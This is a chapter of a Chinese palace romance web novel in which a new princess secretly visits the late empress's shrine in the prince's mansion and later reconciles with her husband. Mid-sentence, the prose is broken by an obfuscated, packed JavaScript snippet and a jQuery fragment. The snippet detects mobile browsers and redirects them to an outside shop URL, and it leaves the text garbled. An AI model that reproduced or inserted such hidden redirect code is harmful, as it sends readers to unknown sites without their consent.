大婚事宜都已告一段落。
成婚已经十来天了,成日里忙着去这儿问安,去那儿祭拜,今日总算清闲下来。
不过,到底是闲不下来的,今日没有其他安排,余娘便叫她慢慢着手治理王府。
既然如此呢,萧吟就打算先把王府彻底逛上一通,毕竟她日后就是这王府的女主人了。
九王爷一早便进宫去了,于是用过午膳后,萧吟便带着余娘与柔儿在王府内四处观赏。
这王府还真是大,有将军府三个大都不止。
因为新婚缘故,王府上下大体都重新装潢了一遍,看着很不错,萧吟满意点头。
再一想想,这都是自己的地盘,心里就更美了。
可穿过花园,却看见一处残败的院落。
倒是奇怪,新婚大喜,此处为何如此凄凉。
萧吟顺手那儿一指,便问:“那是什么院子?为何不加以修缮?”
余娘顺着她手指的方向看过去,忙答道:“那处院落是先皇后住过的,现在这个九王府是当今皇上登基前住的太子府,九王爷思母心切,不让人随意进入,所以搁置着,渐渐便陈旧了。”
萧吟点点头,抬腿便往那处去,“那我能进去看看吗?”
“王妃!”余娘讪笑着立刻上前制止,言语难掩激动,“没有王爷允许谁都不能进的。”
余娘倒是很少在她面前失态,既如此便罢了,她也不愿为难余娘。
“知道了,我也不感兴趣,我们走吧。”说完她便调转往自个儿的芍清院去。
见状余娘才舒了口气,忙跟上去。
——
不感兴趣!
才怪!
不感兴趣那就不是萧吟了,她就是有种明知山有虎,偏向虎山行的劲。
柔儿便没那么大胆,怯生生的拉住自家小姐,“小姐,我们真的要偷偷进去呀?万一被王爷知道了可怎么办?”
虽嘴上说着不敢,可萧吟一叫她,她便跟着来了。
苦口劝了一番也劝不动,便只得跟着。
她再怕也要陪着小姐一起闯一闯。
瞧柔儿很是惧怕,萧吟决意要给她打打气,便指着自己问她,“我是谁?”
“小姐啊!”柔儿笑答。
“错!”萧吟清了清嗓,叉着腰,朗声道:“我是王妃!王爷不在,这整个王府就是我的地盘儿,知道吗?”
“这......”柔儿还是犹豫着。
“哎呀走吧!趁晚膳前进去看看,就一会儿,保证发现不了的。”
于是萧吟拽着玉儿衣袖慢慢走近那院门。
待俩人走进,柔儿才发现,门上有锁!
“这门上面有锁,我们进不去啊!”柔儿窃喜,又道,“小姐那咱们回去吧。”
“再问你一遍,我是谁?”
“王妃?”柔儿犹豫着回答。
“答对!”萧吟对着她打了个响指,洋洋得意:“所以整个王府所有的钥匙我都有!”
“……。”柔儿鼓掌。
于是俩人顺利入内。
院子还挺大。
正中间有假山与小池塘,只是长久不打理,小池塘内已干涸了。
萧吟边逛边摇头。
真是暴遣天物,这么好的院子,非要就这么荒废了,这院子看起来比她的芍清院还好呢,有山有水的。
柔儿往前走,发现只有院门上了锁,内室门只关着无锁,于是她又问:“小姐,要进内室瞧瞧吗?”
“嗯。”萧吟应和。
不过内室柔儿未进,她说自己要在院里帮忙放风。
于是萧吟便自己进入内室。
倒是干净整洁,与寻常寝殿并无不同,再往里走,右偏殿处供奉着一个牌位。
萧吟上前仔细一看,是先皇后的牌位。
她嘴里喃喃着:“打扰了,打扰了。”步子也慢慢往后退。
正准备离去,可转念又一想:这可是九王爷的母亲,也就是她的婆母,不打个招呼似乎不好。
想到这她便上去,跪到了蒲团上,行了个大礼后便起身自报家门。
“皇后娘娘!”萧吟突然又住了口,转念一想,是不是得改口了,应该叫母后才是呀!
于是她又重新措辞,“母后!给您请安,我叫萧吟。”
“萧风的萧,笑意吟吟的吟。”
然后,还准备说些什么,突然身后传来人声——
“你好啊萧吟!”
“谁!”吓得萧吟慌张转身。
“才几日未见,忘了?”
回身一瞧,原来是谭风盛!
可着实吓了她一大跳。
不妙,他身后还跟着九王爷。
自知理亏,萧吟瑟瑟起身,立刻上前规矩行礼,“王爷。”
“嗯。”九王爷点头,而后问:“你怎么来这儿了?”
萧吟赶紧认错,“我就是好奇,以后我再也不来了。”
谁知九王爷却没生气,反而扯了扯唇角。
皇祖母又赏了些东西,所以一回府他便去了王妃院落内。
他想着,萧吟那个小财迷,看见这些东西,一定欢喜。
一想到这儿,新婚第一日入宫请安的场景便历历在目,想着她抱着那些赏赐时的雀跃,竟迫不及待的想将这些礼物送到她手中。
去了芍清院遍寻王妃却不得见,于是便问婢女,婢女却道也不知王妃去向。
这时余娘却来了,忙同他请罪,说王妃私自去了那处,求他饶恕王妃,还说不知者不罪。
他嗯了一声,也没想其他,就立刻过来想瞧瞧这个王妃想做些什么。
先是瞧见这位小王妃初见牌位时有些害怕,可不过一瞬便换了副面孔,对着牌位温柔可亲的笑了一下。
随后就是同他母后行了个跪拜礼,笑嘻嘻的对着那牌位说自己姓甚名谁。
他知道,这是萧吟在向母后介绍她自己。
倒是难得,挺有心。
萧吟认错态度十分诚恳,可看九王爷却愣在那儿,不言语,她便转脸冲着九王爷身边的那位使眼色,求他帮忙说说情。
谭风盛点头应好,可还没说出话,九王爷就开口了,“日后你随意即可,想必我母后也会喜欢你的。”
“真的吗?可……这儿不是不让人随便进吗?”萧吟语气越来越轻……
“你又不是外人,你是他的王妃呀!”谭风声适时揶揄。
“他说的对,王府就是你的家,你随意些。”九王爷竟也生了些调笑之心,又重复一遍她先前说过的那句话,忍笑逗她,“毕竟,你不是说,整个王府都是你的地盘。”
“不敢不敢,我说过这话?”萧吟打着哈哈装傻,“可不敢跟王爷争地盘。”
——
晚膳谭风盛留在这儿一起吃。
看着一桌美味佳肴,谭风盛便叫人将他带的酒也拿上来。
原本以为是小酌,可看到那整整一大坛酒,萧吟便好意出言劝阻,“王爷少喝一些吧,喝多了身体不舒服。”
听到这话,九王爷捏酒杯的动作一顿,原本就是打算小酌一些的,可眼下听了她这关切的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891663|212765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语,倒并不觉多余,反而滋味甚妙。
于是,他点点头应好。
“哎呦!本来就没打算多喝,怎么?那酒坛子吓到你啦?”谭风盛一笑,忽觉萧吟有些傻气。
这么一大坛子,若是喝完估计得睡上个两天。
“那最好!”萧吟哼了一声,“王爷酒量差,不能多喝。”
“得得得!我今天就不该来。”谭风盛故作伤心,“你们这新婚燕尔的,我这个不懂事儿的还非要巴巴儿的来讨饭吃!”
闻言萧吟竟有些害羞,刚才她的话想来任谁听了都会觉得她对王爷关怀备至。
她偷瞄一眼,王爷好似心情不错的样子,这样便令她也很是开怀。
现下,在谭风盛面前,这小夫妻俩,一会你看我一眼,一会儿我偷瞄你一眼,真是好不甜蜜!
这是作甚?嗯?
谭风盛不爽,语气阴阳:“从前都是我陪王爷的,如今看来,王爷不需要我陪了。”
九王爷皱眉,这时候倒是舍得分给他一个眼神。
不过,那眼神饱含鄙夷。
“本王什么时候要你陪了?”
谭风盛:“……?”错付了……
......
晚间,萧吟洗漱好后,就裹着被子,躺在床的最里面去。
沐浴时余娘同她说,今日好险,幸好王爷没有怪罪,不止这些,余娘还告诉她,从前有个下人偷溜进去,被王爷抓到后,就直接遣出府了。
她其实也有些后怕,今日如果不是谭表兄在,真不知道王爷会不会生气,至于王爷说的那些话,估计就是场面话,她自然也不敢当真。
想着想着,王爷就回来了。
九王爷上床躺下,却发现萧吟格外奇怪。
平日里,他刚躺下,那小王妃就要扑上来抱住他,今日怎么一动不动。
难道睡着了?
他伸过手去扯她的被子,扯不动。
那就是装的了。
“你怎么了?”
回应他的是那团被子里传来的鼾声。
“到底怎么了?”九王爷又问了一声,见她还装睡不理人,于是他便上手,用力扯过她的被子。
今日萧吟穿的寝衣是上下两件的,被子带着把萧吟的上身衣服也掀了起来。
她正背对着九王爷,寝衣上翻,露出她白皙光洁的后背,以及松散搭在腰后的红色小衣的带子,红白相交,十分惹眼。
九王爷瞧见了,立刻挪开眼。
到底躲不过去了,萧吟便怯生生的转过身,也有些撒娇的意味,小声问他:“你会把我遣送出府吗?”
“本王为何要遣送你?”
“因为我私自去了那里。”
话说到这儿,九王爷也顿悟了她今日的反常,便柔声安慰,“不会,好好睡吧。”
“真的吗?”
“所以到底从哪听来的这些?”
萧吟便一五一十的说了余娘晚间同她说的那些话。
九王爷立刻解释:“我将那个下人遣送是因为他手脚不干净,经常去那儿偷东西,他自认为那地方不常去人,所以偷了不少东西出府倒卖,王府留不得这种人。”
这下萧吟就了然了。
瞧着她面露喜色,一副劫后余生的样子,九王爷也忍不住弯弯唇角。
都说喜怒不形于色,可萧吟却什么都藏不住。
高兴了就要笑。
现下他也明白了,萧吟名字中的“吟”字是怎么来的了。
笑意吟吟~
当真,可爱至极~